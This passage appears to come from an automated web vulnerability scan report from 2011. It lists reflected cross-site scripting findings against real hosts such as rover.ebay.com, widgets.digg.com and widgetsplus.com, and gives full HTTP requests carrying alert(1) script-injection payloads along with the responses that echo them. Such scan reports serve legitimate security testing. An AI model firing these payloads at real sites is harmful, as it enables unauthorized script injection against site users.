P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE"
Cache-Control: private, no-cache
Pragma: no-cache
Content-Type: text/html
Content-Length: 338
Date: Fri, 16 Sep 2011 16:20:36 GMT

document.write('<a target="_blank" href="d6612';alert(1)//4069d253df3http://rover.ebay.com/rover/1/711-53200-19255-108/1?mpt=206427233991&toolid=7115320019255108&customid=&campid=5336830850&rvr_id=265435447058&imp_rvr_id=265435447058">
...[SNIP]...

2.16. http://rover.ebay.com/ar/1/711-53200-19255-108/1 [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://rover.ebay.com
Path:	/ar/1/711-53200-19255-108/1

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a4a5a'%3balert(1)//f65caf493c2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as a4a5a';alert(1)//f65caf493c2 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /ar/1/711-53200-19255-108/1?campid=5336830850&toolid=7115320019255108&customid=&mpt=206427233991&adtype=3&size=300x250&mpvc=&a4a5a'%3balert(1)//f65caf493c2=1 HTTP/1.1
Host: rover.ebay.com
Proxy-Connection: keep-alive
Referer: http://portal.opera.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: npii=btrm/svid%3D64654388197505092ad^cguid/62d7951f1320a479e7268c86ff361dd1505092ad^

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
RlogId: p4n%60rujfudlwc%3D9vt*ts67.d3117d7-132730a2a00
Set-Cookie: npii=btrm/svid%3D646543881975054aad6^cguid/62d7951f1320a479e7268c86ff361dd15054aad6^; Domain=.ebay.com; Expires=Sat, 15-Sep-2012 16:20:38 GMT; Path=/
P3P: policyref="/w3c/p3p.xml", CP="NOI CURa ADMa DEVa PSDo PSAa OUR SAMo IND UNI COM NAV INT STA DEM PRE"
Cache-Control: private, no-cache
Pragma: no-cache
Content-Type: text/html
Content-Length: 347
Date: Fri, 16 Sep 2011 16:20:38 GMT

document.write('<a target="_blank" href="http://rover.ebay.com/rover/1/711-53200-19255-108/1?mpt=206427233991&toolid=7115320019255108&a4a5a';alert(1)//f65caf493c2=1&campid=5336830850&customid=&rvr_id=265440909658&imp_rvr_id=265440909658&mpvc=">
...[SNIP]...

2.17. http://srv.healthheadlines.com/s.php [k parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://srv.healthheadlines.com
Path:	/s.php

Issue detail

The value of the k request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 80caa"><script>alert(1)</script>1eb42bee5e8 was submitted in the k parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adurl%3D80caa"><script>alert(1)</script>1eb42bee5e8 HTTP/1.1
Host: srv.healthheadlines.com
Proxy-Connection: keep-alive
Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:20:46 GMT
Server: Apache/2.2.16 (Ubuntu)
X-Powered-By: PHP/5.3.3-1ubuntu9
Set-Cookie: _int_lst=QUl2Sm5BQUFBRE1BQUFBSkFBQUFOUUFBQU1nQUFBQVdBQUFCaGdBQUFCd0FBQURCQUFBQXxaQUFBQUJ3QUFBUDJBQUFBSWdBQUFQY0FBQUVzQUFBQUZBQUFBOEFBQUFBYUFBQUJEdz09fHx8MXwxMzE2MTkwMDQ2; path=/; domain=.healthheadlines.com; httponly
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 11 Nov 1971 11:11:11 GMT
Vary: Accept-Encoding
Content-Length: 4910
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type
...[SNIP]...
LmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=80caa"><script>alert(1)</script>1eb42bee5e8http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAANQAAAMgAAAAWAAABhgAAABwAAADBAAAA&b=ZAAAABwAAAP2AAAAIgAAAPcAAAEsAAAAFAAAA8AAAAAaAAABDw%3D%3D&t=0&i=7&r=http%3A%2F%2Fwww.PeakLife.com%2
...[SNIP]...

2.18. http://srv.healthheadlines.com/s.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://srv.healthheadlines.com
Path:	/s.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ad039"><script>alert(1)</script>54339ecbce9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /s.php?c=51&d=9&t=0.08053325628861785&n=1133000173&k=http://yads.zedo.com/ads2/c?a=947253;x=2304;g=172;c=1133000173,1133000173;i=0;n=1133;i=0;u=k5xiThcyanucBq9IXvhSGSz5~090311;1=8;2=1;e=i;s=24;g=172;w=47;m=82;z=0.8216961014550179;p=6;f=1160000;h=1021994;k=http%3A//adclick.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ%26num%3D1%26sig%3DAOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw%26client%3Dca-pub-3796773913386149%26adur/ad039"><script>alert(1)</script>54339ecbce9l%3D HTTP/1.1
Host: srv.healthheadlines.com
Proxy-Connection: keep-alive
Referer: http://d3.zedo.com/jsc/d3/ff2.html?n=1133;c=173;s=24;d=9;w=300;h=250;l=http://adclick.g.doubleclick.net/aclk?sa=l&ai=BEX0mCndzTsf0DcOJgALUrb3-BsL17uACur-rqCqi06q2TaCNBhABGAEgsLnXBjgAUIWt2Zv9_____wFgyQagAY6tjM0DsgEQcG9ydGFsLm9wZXJhLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adurl=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 16:20:48 GMT
Server: Apache/2.2.16 (Ubuntu)
X-Powered-By: PHP/5.3.3-1ubuntu9
Set-Cookie: _int_lst=QUl2Sm5BQUFBRE1BQUFBSkFBQUFVd0FBQU1nQUFBQWlBQUFDTUFBQUFDa0FBQUVmQUFBQXxaQUFBQURBQUFBUllBQUFBT3dBQUFlSUFBQUVzQUFBQUZBQUFCSkFBQUFBYUFBQUJEdz09fHx8MXwxMzE2MTkwMDQ4; path=/; domain=.healthheadlines.com; httponly
Cache-Control: no-store, no-cache, must-revalidate
Expires: Thu, 11 Nov 1971 11:11:11 GMT
Vary: Accept-Encoding
Content-Length: 5289
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type
...[SNIP]...
hLmNvbboBCjMwMHgyNTBfYXPIAQnaARhodHRwOi8vcG9ydGFsLm9wZXJhLmNvbS-4AhjAAgHIApqHwSCoAwHoA6UB6AMQ6AONA_UDAAgAAPUDMgCAAaAGEQ&num=1&sig=AOD64_2ztssrmiGfz4QREAFMwUEJdXtTPw&client=ca-pub-3796773913386149&adur/ad039"><script>alert(1)</script>54339ecbce9l=http://srv2.healthheadlines.com/t.php?e=90186&a=AIvJnAAAADMAAAAJAAAAUwAAAMgAAAAiAAACMAAAACkAAAEfAAAA&b=ZAAAADAAAARYAAAAOwAAAeIAAAEsAAAAFAAABJAAAAAaAAABDw%3D%3D&t=0&i=7&r=http%3A%2F%2Fwww.PeakLife.com
...[SNIP]...

2.19. http://t.tellapart.com/hif [p parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://t.tellapart.com
Path:	/hif

Issue detail

The value of the p request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bd591"%3balert(1)//e15fc9eb3e7 was submitted in the p parameter. This input was echoed as bd591";alert(1)//e15fc9eb3e7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /hif?p=vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==bd591"%3balert(1)//e15fc9eb3e7&tms=1316208686167 HTTP/1.1
Host: t.tellapart.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.drugstore.com/
Cookie: drapt=ABJeb18jY0mSx9O1GhjWGagkBZ8cNX0k4oxPsv8LF9nJWKu12mbgkeBMt_o6CvAURFeGEBSF8UxpLeFjWV5Q2eOlAeV7yVQxxfhVQ6n7tXCCk-3AaAr-3DeDS9cBGOjMik-CONnHvyl4pD3SI4onQ1Vx5D2OKkZQcrsaYTa28GPXtJ-72-twAilquinwVbDX2VnkhBOx2C9B; __cmbGU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; AWSELB=E31F5987121C4E93C56CFAE300CB3FAA8458B8275ED54EFB1FBFC3259C68A4A477202DDBEDB9857088204A944F7B0E0B304C51662855C88DA4DD00256DCA9F810994CC9BEC

Response

HTTP/1.1 200 OK
Cache-Control: private, no-cache, no-store, proxy-revalidate
Content-Type: text/html
Date: Fri, 16 Sep 2011 16:31:00 GMT
Expires: Thu, 01 Dec 1994 16:00:00 GMT
P3P: policyref="/w3c/p3p.xml", CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Pragma: no-cache
Server: TAFE
Set-Cookie: tap=3dqWAHaYDci9zJk-EVGLVaaj4nEPAAEMAAAABAsAAQAAAAI5OQoAAwAAATJzE6dmAAsAAQAAAAI3NQoAAwAAATJzE6dmAAsAAQAAAAI3NAoAAwAAATJzE6dmAAsAAQAAAAMxMDUKAAMAAAEycxOnZgAA; expires=Wed, 14-Mar-2012 16:31:00 GMT; Path=/; Domain=.tellapart.com
Content-Length: 4557
Connection: keep-alive

<html><body>
<script type="text/javascript">
// Maximum time allowed for pixels to load.
var MAX_PIXEL_LOAD_TIME = 3000;
// Ensures no more pixels are loaded after MAX_PIXEL_LOAD_TIME by removing src

...[SNIP]...
}

setCookie("__cmbPI", "vobmfNYCXJkpXrtb_UNRwyPDtCMLAAEAAAAQ8VfMRuCtWlGZKHGOFgAdYAsAAgAAABDBNWrL_D1gZ_QvSD7Ubh68CgADAAABMnMTUeAPAAQLAAAABAAAAAI5OQAAAAI3NQAAAAI3NAAAAAMxMDULAAUAAAAMZ01JVlhQT2pId09LAA==bd591";alert(1)//e15fc9eb3e7");
setCookie("__cmbPD", "");
</script>
...[SNIP]...

2.20. http://widgets.digg.com/buttons/count [url parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgets.digg.com
Path:	/buttons/count

Issue detail

The value of the url request parameter is copied into the HTML document as plain text between tags. The payload 5851e<script>alert(1)</script>9bc50613a06 was submitted in the url parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /buttons/count?url=http%3A//thehackernews.com/2011/09/godaddy-websites-compromised-with.html5851e<script>alert(1)</script>9bc50613a06 HTTP/1.1
Host: widgets.digg.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Age: 0
Date: Fri, 16 Sep 2011 17:55:29 GMT
Via: NS-CACHE: 100
ETag: "KXKDMGAKPNPUWKVPXU"
Content-Length: 156
Content-Type: application/json
Server: TornadoServer/0.1
Accept-Ranges: bytes
Cache-Control: private, max-age=599
Expires: Fri, 16 Sep 2011 18:05:28 GMT
X-CDN: Cotendo
Connection: Keep-Alive

__DBW.collectDiggs({"url": "http://thehackernews.com/2011/09/godaddy-websites-compromised-with.html5851e<script>alert(1)</script>9bc50613a06", "diggs": 0});

2.21. http://widgetsplus.com/google_plus_widget.php [bbc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bbc request parameter is copied into the HTML document as plain text between tags. The payload 26123<img%20src%3da%20onerror%3dalert(1)>0030d6232d9 was submitted in the bbc parameter. This input was echoed as 26123<img src=a onerror=alert(1)>0030d6232d9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D526123<img%20src%3da%20onerror%3dalert(1)>0030d6232d9&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:56:39 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
: absolute;
               top:42px;
               left:70px;
               margin-left:10px;
           }
           div#wgp_add_button_wrapper {
               display:block;
               height:29px;
               width:100px;background-color:#4889F0;border:1px solid #3F79D526123<img src=a onerror=alert(1)>0030d6232d9;
               margin:8px 10px;
               font-size:13px;                font-weight:bold;
               margin:8px 10px;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webkit-border-radius: 3px;
               position: absolute;
               l
...[SNIP]...

2.22. http://widgetsplus.com/google_plus_widget.php [bbgc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bbgc request parameter is copied into the HTML document as plain text between tags. The payload 575dd<img%20src%3da%20onerror%3dalert(1)>be9761ccb76 was submitted in the bbgc parameter. This input was echoed as 575dd<img src=a onerror=alert(1)>be9761ccb76 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0575dd<img%20src%3da%20onerror%3dalert(1)>be9761ccb76&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:57:02 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
eight: bold;
               position: absolute;
               top:42px;
               left:70px;
               margin-left:10px;
           }
           div#wgp_add_button_wrapper {
               display:block;
               height:29px;
               width:100px;background-color:#4889F0575dd<img src=a onerror=alert(1)>be9761ccb76;border:1px solid #3F79D5;
               margin:8px 10px;
               font-size:13px;                font-weight:bold;
               margin:8px 10px;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webkit-border-radius: 3px;

...[SNIP]...

2.23. http://widgetsplus.com/google_plus_widget.php [bc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bc request parameter is copied into the HTML document as plain text between tags. The payload 297ea<img%20src%3da%20onerror%3dalert(1)>53e9bfca482 was submitted in the bc parameter. This input was echoed as 297ea<img src=a onerror=alert(1)>53e9bfca482 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a297ea<img%20src%3da%20onerror%3dalert(1)>53e9bfca482&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:58:25 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 6023
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
apper:hover {
               background-color:#3F79D5;border-color:#3b71c6;            }
           div#wgp_wrapper p,div#wgp_wrapper a.message {
               padding-top:5px;
               font-size:12px;
               letter-spacing: 1px;
               color:#6a6a6a297ea<img src=a onerror=alert(1)>53e9bfca482;
               padding-top:1px;
               clear:both;
               height:30px;
               margin:0;
               line-height: 30px;

           }
           div#wgp_wrapper p.error_not_found {
               line-height: 15px;
               margin-left:10px;
           }

           div#w
...[SNIP]...

2.24. http://widgetsplus.com/google_plus_widget.php [bfc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bfc request parameter is copied into the HTML document as plain text between tags. The payload 3decf<img%20src%3da%20onerror%3dalert(1)>06ef7a643ee was submitted in the bfc parameter. This input was echoed as 3decf<img src=a onerror=alert(1)>06ef7a643ee in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c6&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF3decf<img%20src%3da%20onerror%3dalert(1)>06ef7a643ee&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:57:26 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
dex: 1000;
           }

           a#wgp_add_button {
               display: block;
               position: absolute;
               top:0px;
               left:0px;
               width:100px;                text-align: center;
               float: none;
               margin:0;
               color:#FFFFFF3decf<img src=a onerror=alert(1)>06ef7a643ee;
               height:29px;
               line-height:29px;
               background-image:url(images/button_gra.png);
               background-position: 0 0;
               border-radius: 3px;
               -moz-border-radius: 3px;
               -webkit-border-radius:
...[SNIP]...

2.25. http://widgetsplus.com/google_plus_widget.php [bmobc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bmobc request parameter is copied into the HTML document as plain text between tags. The payload 1c0d0<img%20src%3da%20onerror%3dalert(1)>6bc8e074c27 was submitted in the bmobc parameter. This input was echoed as 1c0d0<img src=a onerror=alert(1)>6bc8e074c27 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /google_plus_widget.php?pid=106933972856076071655&host=thehackernews.com&mbgc=f5f5f5&ww=310&mbc=cecece&bbc=3F79D5&bmobc=3b71c61c0d0<img%20src%3da%20onerror%3dalert(1)>6bc8e074c27&bbgc=4889F0&bmoc=3F79D5&bfc=FFFFFF&bmofc=ffffff&tlc=cecece&tc=6a6a6a&nc=6a6a6a&bc=6a6a6a&l=y&t=Add_me_on&fs=16&fsb=13&bw=100&b=s&ff=4&pc=4889F0 HTTP/1.1
Host: widgetsplus.com
Proxy-Connection: keep-alive
Referer: http://thehackernews.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 16 Sep 2011 17:56:50 GMT
Server: Apache/2
X-Powered-By: PHP/5.2.17
Vary: Accept-Encoding,User-Agent
Content-Length: 5979
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
   <head>
       <meta http-equiv="Content-Type" content="text/html;charset=ut
...[SNIP]...
r {
               color:#ffffff;            }

           div#wgp_add_button_wrapper a:active {
               background-position: 0 -31px;
           }

           div#wgp_add_button_wrapper:hover {
               background-color:#3F79D5;border-color:#3b71c61c0d0<img src=a onerror=alert(1)>6bc8e074c27;            }
           div#wgp_wrapper p,div#wgp_wrapper a.message {
               padding-top:5px;
               font-size:12px;
               letter-spacing: 1px;
               color:#6a6a6a;
               padding-top:1px;
               clear:both;
               height:30px;
               ma
...[SNIP]...

2.26. http://widgetsplus.com/google_plus_widget.php [bmoc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://widgetsplus.com
Path:	/google_plus_widget.php

Issue detail

The value of the bmoc request parameter is copied into the HTML document as plain text between tags. The payload 18f1c<img%20src%3da%20onerror%3dalert(1)>c9726905144 was submitted in the bmoc parameter. This input was echoed as 18f1c<img src=a onerror=alert(1)>c9726905144 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

